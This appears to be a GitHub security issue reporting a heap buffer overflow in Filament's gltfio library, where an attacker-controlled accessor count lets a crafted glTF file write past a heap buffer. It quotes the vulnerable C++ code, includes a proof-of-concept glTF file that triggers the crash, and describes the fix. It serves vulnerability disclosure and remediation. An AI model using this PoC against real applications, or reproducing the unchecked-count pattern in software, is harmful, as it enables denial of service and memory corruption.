Skip to content

Heap Buffer Overflow in gltfio normalizeSkinningWeights via malicious glTF file #9877

@YLChen-007

Description

@YLChen-007

Summary

A heap buffer overflow vulnerability exists in the normalizeSkinningWeights function of the gltfio library. The function does not validate the count property of a glTF accessor against the actual buffer size, allowing a maliciously crafted glTF file to trigger an out-of-bounds write on the heap.

Details

The vulnerability is in the normalize lambda in libs/gltfio/src/ResourceLoader.cpp, which trusts accessor->count (attacker-controlled via the .gltf JSON structure) without verifying it against the actual buffer size:

auto normalize = [](cgltf_accessor* data) {
    // ...
    uint8_t* bytes = (uint8_t*) data->buffer_view->buffer->data;
    bytes += data->offset + data->buffer_view->offset;
    // VULNERABILITY: data->count is attacker-controlled, no bounds check
    for (cgltf_size i = 0, n = data->count; i < n; ++i, bytes += data->stride) {
        float4* weights = (float4*) bytes;
        const float sum = weights->x + weights->y + weights->z + weights->w;
        *weights /= sum;  // OOB write beyond allocated buffer
    }
};

An attacker can craft a .gltf file with a small buffer (e.g., 16 bytes) but an accessor with an arbitrarily large count (e.g., 1,000,000) pointing to that buffer. This causes the normalizeSkinningWeights procedure to iterate far beyond the buffer's bounds, writing to unallocated heap memory.

Reproduction

  1. Create a malicious glTF file (poc.gltf):
{
  "asset": {"version": "2.0"},
  "buffers": [{"byteLength": 16, "uri": "data:application/octet-stream;base64,AAAAAAEAAAACAAAAAwAAAA=="}],
  "bufferViews": [{"buffer": 0, "byteOffset": 0, "byteLength": 16, "byteStride": 16}],
  "accessors": [{"bufferView": 0, "byteOffset": 0, "componentType": 5126, "count": 1000000, "type": "VEC4"}],
  "meshes": [{"primitives": [{"attributes": {"WEIGHTS_0": 0}}]}],
  "nodes": [{"mesh": 0, "skin": 0}],
  "skins": [{"joints": [0]}],
  "scenes": [{"nodes": [0]}],
  "scene": 0
}
  1. Load this file in any application that uses Filament's gltfio with normalizeSkinningWeights = true (which is the default in gltf_viewer, Android ModelViewer.kt, Web viewer, etc.).

  2. Result: Segmentation fault (heap out-of-bounds write).

Impact

  • Denial of Service (DoS): Crash via segfault when processing malicious glTF files.
  • Potential Code Execution: Heap memory corruption could be exploitable for arbitrary code execution.
  • Attack Surface: Any application using Filament to load untrusted glTF files is affected, including Android apps using ModelViewer and web viewers.

Fix

A fix has been submitted in PR #8309. The patch adds:

  1. Null pointer validation for buffer_view, buffer, and data pointers
  2. Offset validation to ensure accessor offset is within buffer bounds
  3. Safe count computation based on available buffer bytes and stride
  4. Clamping of accessor count with a warning log message

CWE

  • CWE-122: Heap-based Buffer Overflow

Metadata

Metadata

Assignees

Labels

gltfSpecific to glTF supportsecurity

Type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions